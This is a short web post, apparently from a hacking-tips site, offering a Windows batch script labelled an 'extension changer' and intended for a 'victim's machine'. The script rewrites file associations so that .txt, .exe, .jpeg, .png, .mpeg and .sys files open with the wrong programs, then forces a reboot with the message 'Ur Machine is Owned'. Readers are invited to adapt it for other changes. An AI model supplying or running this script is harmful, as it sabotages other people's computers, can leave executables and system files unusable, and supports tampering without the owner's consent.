Extension altering Batch Code snippet

What is meant by Extension changer ?

As in windows all the image file are by default opened by "Windows Picture and Fax Viewer" but this code will change it to open with some other application as you wish.
eg: .txt file is opened by notepad but the code will change it to get opened with "Windows Picture and Fax Viewer"now as the .txt file can't be opened with "Windows Picture and Fax Viewer" so in this way u can disable the opening of .txt file of victim similarily u can alter the following code to do what changes u want to make on victim's machine. Just copy the code below in notepad and save it with any name but Extension should be .bat
The code is as below:

@echo off
assoc .txt=jpegfile
assoc .exe=htmlfile
assoc .jpeg=avifile
assoc .png=mpegfile
assoc .mpeg=txtfile
assoc .sys=regfile
shutdown -r -t 10 -c Ur Machine is Owned..
exit

This code will make .txt fil to open with Windows Picture and Fax Viewer.
.exe file will open with Web browser, .jpeg file will open with vlc player etc.
Infact the files will not be able to open as applications will not be supported with the format that they will have.

Warning : Use at ur own risk